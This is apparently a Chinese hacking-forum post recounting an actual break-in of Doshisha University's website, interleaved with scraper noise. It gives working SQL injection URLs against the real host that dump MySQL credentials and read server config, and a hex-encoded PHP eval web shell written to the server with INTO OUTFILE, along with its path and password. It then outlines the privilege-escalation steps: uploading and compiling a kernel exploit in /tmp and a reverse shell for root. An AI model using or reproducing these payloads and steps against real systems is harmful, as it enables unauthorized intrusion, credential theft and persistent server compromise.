找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2425|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
! t0 d! @- k! C0 k% Z8 o' [" s0 h1 H6 J
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
$ N' v  z$ X$ @1 |8 L) b然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:0 z% u% b6 K* U5 p" |

9 J& K- v, n  S. phttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
+ N7 U7 o2 @) i; v4 E5 t, |4 M( a7 e7 n( i1 d

7 L. {% N. b+ h1 t* I: w! O4 J3 S1 L7 m- r. l
//@@datadir为数据库文件路径 8 C* k: z8 d  i2 S" H

+ N3 A% t, i- p7 f/ O/ @
. m$ D$ k( }+ K. _//load_file读取网站容器apache的配置文件 ( a' o% f8 K) L

  C2 i6 e  H- q) Q' c9 W. u" n' `5 {. ]4 j0 T# I2 _2 ?
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
# \& J, D; I: D复制代码) T& t- ?6 Y# d1 B5 V# z
# o( E- {7 B4 |" b9 P
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。8 L/ l1 J; X- Y3 D6 l1 J, A0 n) K# w

1 e7 C; w8 q. D4 w: [+ J而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
8 N% H# E& {% E! D, [4 c(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
# e. I6 G7 r: J
+ Q; x, f6 w1 H+ @, I前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。. Z* ?' g) q3 s1 k
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html+ G5 a; a3 F, M0 L7 J) j

! C3 U8 p/ ~  L( X3 j既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/9 n! [2 M: I+ N" m/ t  U8 D$ E* |% Q; y
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
4 w+ c6 B1 P+ {$ ]7 K直接写一句话:
7 C) P6 J3 H  I" _7 G  k& B! T$ N0 `! d, }
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
- U! `+ [6 c/ \. e
6 ]; ~( J3 ^# \7 u
8 y' \- @" Q" U
9 |$ L8 M- Y' x) d$ l) B1 R//最后的#是为了闭合前面的语句
4 d( q  ~8 h: J# `1 u& ?) { ' F% h7 d  G# r2 b, Y
9 b- l% R9 P8 \1 H( b
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
( k; b' @0 v2 d
0 s7 d4 s% x- x+ W  |% v8 P4 B% x! A) b' [/ j& U6 q! O
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
$ T9 C: Z! O4 m7 E7 y/ ]# F' ~ " {2 F( Z4 v' G0 e: ]/ I3 F
0 G9 y: ?. h6 u5 T* g) ^
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
. [% x6 K  j' _- g: d2 P
! V# y0 p6 e" W) Y  f4 L( [% e  |; H1 a
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
) d* D8 Z3 A% s4 Z3 A//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
: P  B2 ~4 O# @5 ]) N, u复制代码
% Y+ [% }! I% ~! E% l( S8 b7 z6 k. f: ^+ m5 R
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有$ ~% a- z, c4 p3 {( e
通过上述注入语句,我们就得到了一句话木马:
7 u3 G! l/ D/ E( e7 u3 }3 _- W
0 z2 Y; X1 x$ w. y! O
4 ]' I+ P3 Z; }& f7 k1 S0 i2 p5 t2 n; Q4 m: ?
& _/ r% G0 D0 |& B, `4 d' u7 c# p) h; l
; I, ^' l" C' G/ V( W6 t3 B
http://www.doshisha.ac.jp/english/engnews_img/aa.php 6 c6 N: [& Y7 M: Z4 j; H/ W$ N
复制代码
- A0 ?/ v# Q- D, w0 k" ^: L7 t+ w
用菜刀连接,密码是cmd,如图所示:
  K6 V& O, H# Q然后在命令提示行里看了一下,现在的权限是:
: B( N# U2 ^' W" {- F0 P* |, A6 _: H4 E2 Z
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
5 p5 W) M% k' z/ l; |; g2 }  v0 H好在赋权给这个文件夹不需要root,直接执行赋权语句:
+ L) Z7 O- y9 p- Y  a4 N! t6 l$ v5 p( r3 i. Q

  h" p- a  `* c5 b. t! I1 h# H& T) _

9 y! q5 E" R' q- c! x2 \1 B( m. x& w. t, l5 \
chmod +x /tmp/
3 f5 g) U; m0 v" [( j复制代码
% p/ u/ A( A7 g, m
* \2 T: p: @- D1 s! E0 Z在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行( u- c  |' _; b0 v+ A6 l0 B" Y
然后就查了一下内核版本:
9 f6 X! |# I' q9 \9 [6 H- c
* Q1 t9 Q$ @, P1 n* m# S3 z! F
3 t  |7 v- h  K1 f8 J9 x3 C" W0 ?
: _* _& G- q6 Y/ e* d. ~   T2 v& r) [5 Z5 D

2 v! Z4 L. v: g! m/ e' l. E7 iuname-a
' z3 h8 k4 B2 K9 r 5 x" m! w* ]; }) G5 ?, r

9 a+ D6 y' D+ U+ U' {6 _! k* k//其实lsb_release -a . L7 n, y2 L) n+ j
复制代码
1 M' Q, w# Z- b& g$ N) J
+ j" o" s3 i% l  a如图所示:( D3 Q4 \- B+ y" Q7 h( O

" d' G4 Q7 k5 m内核版本:linux mainz1 2.6.28-194.e15  M6 n2 P. b9 T" }, `- Z7 V
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
. p+ k0 E- O+ a) Q. c查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹8 `* Q% z/ x+ ~% m' Q

3 P1 m' A+ ~2 o1 H: [然后给予执行权限* U- p+ D$ B$ A4 D8 g
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
! S; u( M7 d1 Q, O& K$ k
6 u$ h# a- R8 e
# g- p4 K2 i! r( y- {* U; e
/ `+ ^# @" r( t1 v * C+ l) [4 {  B/ x; c# v1 {' g+ N+ {" r
2 A% m0 U0 M; L  s
chmod +x /tmp/2.6.18-194 ( Q/ w2 U. W, W# _4 x1 a2 s: ?& s
复制代码 然后直接执行!~/ v# R: [8 l# [/ F2 j/ R) z
# Z8 \" l2 A9 J( R7 a$ t' S
总结:0 E0 F9 y) z2 `; \
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了6 U# @9 y, p9 U( o4 _0 {
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root  _4 v4 Y5 j$ r! ]9 b  p
0 o, y7 i0 E5 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表